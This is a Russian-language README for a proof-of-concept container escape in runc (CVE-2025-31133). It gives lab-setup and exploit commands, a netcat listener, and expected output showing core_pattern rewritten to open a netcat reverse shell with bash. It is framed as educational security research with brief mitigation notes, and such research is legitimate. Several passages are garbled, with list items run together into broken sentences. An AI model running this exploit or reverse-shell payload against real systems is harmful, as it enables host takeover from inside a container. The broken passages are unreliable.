
Образовательный proof-of-concept для CVE-2025-31133, побега из контейнера runc через состояние гонки maskedPaths. Включает настройку лаборатории, скрипт эксплуатации и рекомендации по смягчению для исследователей безопасности.
Демонстрация доказательства концепции (PoC) и учебная среда для CVE-2025-31133 — уязвимости безопасности в runc, позволяющей обойти защиту maskedPaths через состояние гонки. maskedPaths предназначены для предотвращения доступа контейнеров к чувствительным путям файловой системы хоста.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 Этот репозиторий — практический пример того же исследовательского подхода и техник, которые преподаются на тренинге Black Hat:
Эксплойт использует состояние гонки, при котором:
maskedPaths для защиты чувствительных файлов (например, /proc/sys/kernel/core_pattern)/dev/null) в корневой файловой системе контейнераДанный репозиторий предназначен только для образовательных целей.
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
Скрипт lab-setup.sh выполнит:
chmod +x lab-setup.sh
./lab-setup.sh
Убедитесь, что установлена уязвимая версия runc:
runc --version
Вы должны увидеть версию 1.2.0 или подобную.
nc -lnvp <PORT>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
В случае успеха вы должны увидеть:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
На ваш слушатель должно установиться соединение обратного шелла.
Для защиты от данной уязвимости:
core_pattern после успешной эксплуатацииЭтот проект предоставлен для образовательных целей. Используйте ответственно и этично.
Помните: Всегда используйте инструменты исследования безопасности ответственно и только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение.